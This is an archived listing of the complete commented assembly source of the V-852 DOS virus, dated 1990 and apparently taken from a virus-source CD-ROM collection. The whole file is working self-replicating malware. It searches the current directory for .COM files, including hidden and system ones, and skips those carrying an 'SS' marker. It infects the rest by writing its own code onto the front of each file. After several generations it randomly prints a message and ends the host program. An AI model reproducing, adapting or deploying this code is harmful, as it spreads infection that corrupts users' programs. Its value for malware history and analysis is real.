home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / AMST-852.ASM < prev    next >
Assembly Source File  |  1990-11-26  |  3KB  |  155 lines

  1.     page    ,132
  2.     name    V852
  3.     title    The V-852 virus, based on the V-847 virus
  4.     .radix    16
  5. code    segment
  6.     assume    cs:code,ds:code
  7.     org    100
  8.  
  9. timer    equ    6C
  10. olddta    equ    80
  11. virlen    equ    offset endcode - offset start
  12. smalcod equ    offset endcode - offset transf
  13. buffer    equ    offset endcode + 100
  14. newdta    equ    offset endcode + 10
  15. fname    =    newdta + 1E
  16. virlenx =    offset endcode - offset start
  17. newid    =    offset ident + virlenx + 100
  18.  
  19. start:
  20.     jmp    virus
  21.  
  22. ident    dw    'SS'
  23. counter db    0
  24. allcom    db    '*.COM',0
  25. vleng    dw    44F        ;Unused
  26. progbeg dd    10000h
  27. eof    dw    ?
  28. handle    dw    ?
  29.  
  30. virus:
  31.     mov    ax,cs        ;Move program code
  32.     add    ax,1000     ; 64K bytes forward
  33.     mov    es,ax
  34.     inc    [counter]
  35.     mov    si,offset start
  36.     xor    di,di
  37.     mov    cx,virlen
  38.     rep    movsb
  39.  
  40.     mov    dx,newdta    ;Set new Disk Transfer Address
  41.     mov    ah,1A        ;Set DTA
  42.     int    21
  43.     mov    dx,offset allcom    ;Search for '*.COM' files
  44.     mov    cx,110b     ;Normal, Hidden or System
  45.     mov    ah,4E        ;Find First file
  46.     int    21
  47.     jc    done        ;Quit if none found
  48.  
  49. mainlp:
  50.     mov    dx,offset fname
  51.     mov    ax,3D02     ;Open file in Read/Write mode
  52.     int    21
  53.     mov    [handle],ax    ;Save handle
  54.     mov    bx,ax
  55.     push    es
  56.     pop    ds
  57.     mov    dx,buffer
  58.     mov    cx,0FFFF    ;Read all bytes
  59.     mov    ah,3F        ;Read from handle
  60.     int    21        ;Bytes read in AX
  61.     add    ax,buffer
  62.     mov    cs:[eof],ax    ;Save pointer to the end of file
  63.     db    3E        ;Force DS: prefix
  64.     cmp    ds:[newid],'SS' ;Infected?
  65.     je    close        ;Go find next file
  66.  
  67.     xor    cx,cx        ;Go to file beginning
  68.     mov    dx,cx
  69.     mov    bx,cs:[handle]
  70.     mov    ax,4200     ;LSEEK from the beginning of the file
  71.     int    21
  72.     jc    close        ;Leave this file if error occures
  73.  
  74.     mov    dx,0        ;Write the whole code (virus+file)
  75.     mov    cx,cs:[eof]    ; back onto the file
  76.     mov    bx,cs:[handle]
  77.     mov    ah,40        ;Write to handle
  78.     int    21
  79.  
  80. close:
  81.     mov    bx,cs:[handle]
  82.     mov    ah,3E        ;Close the file
  83.     int    21
  84.  
  85.     push    cs
  86.     pop    ds        ;Restore DS
  87.     mov    ah,4F        ;Find next matching file
  88.     mov    dx,newdta
  89.     int    21
  90.     jc    done        ;Exit if all found
  91.     jmp    mainlp        ;Otherwise loop again
  92.  
  93. done:
  94.     mov    dx,olddta    ;Restore old Disk Transfer Address
  95.     mov    ah,1A        ;Set DTA
  96.     int    21
  97.  
  98.     cmp    [counter],5    ;If counter goes above 5,
  99.     jb    progok        ; the program becomes "sick"
  100.     mov    ax,40
  101.     mov    ds,ax        ;Get the system timer value
  102.     mov    ax,word ptr ds:[timer]
  103.     push    cs
  104.     pop    ds        ;Restore DS
  105.     and    ax,1        ;At random (if timer value is odd)
  106.     jz    progok        ; display the funny message
  107.     mov    dx,offset message
  108.     mov    ah,9        ;Print string
  109.     int    21
  110.     int    20        ;Terminate program
  111.  
  112. message db    0A, 0Dh, 7
  113.     db    'æ║ñ ºá é½áñ¬« ¿ ¡Ñú«ó¿┐ ▓á▓¬« !  '
  114.     db    'ì¿Ñ ó▒¿╖¬¿ ▒¼Ñ ºá »░Ñ│▒▓░«⌐▒▓ó« !'
  115.     db    0A, 0Dh,'$'
  116.  
  117. progok:
  118.     mov    si,offset transf    ;Move this part of code
  119.     mov    cx,smalcod    ;Code length
  120.     xor    di,di        ;Move to ES:0
  121.     rep    movsb        ;Do it
  122.  
  123.     xor    di,di        ;Clear DI
  124.     mov    word ptr cs:[progbeg],0
  125.     mov    word ptr cs:[progbeg+2],es    ;Point progbeg at program start
  126.     jmp    cs:[progbeg]    ;Jump at program start
  127.  
  128. transf:
  129.     push    ds
  130.     pop    es
  131.     mov    si,buffer+100
  132.     cmp    [counter],1
  133.     jne    skip
  134.     sub    si,200
  135. skip:
  136.     mov    di,offset start
  137.     mov    cx,0FFFF    ;Restore original program's code
  138.     sub    cx,si
  139.     rep    movsb
  140.     mov    word ptr cs:[start],offset start
  141.     mov    word ptr cs:[start+2],ds
  142.     jmp    dword ptr cs:[start]    ;Jump to program start
  143. endcode label    byte
  144.  
  145.     jmp    short quit    ; The original program
  146.  
  147.     db    2 dup (90)    ; Filler
  148.  
  149. quit:
  150.     mov    ax,4C00     ; Just exit with ErrorLevel 0
  151.     int    21
  152.  
  153. code    ends
  154.     end    start
  155.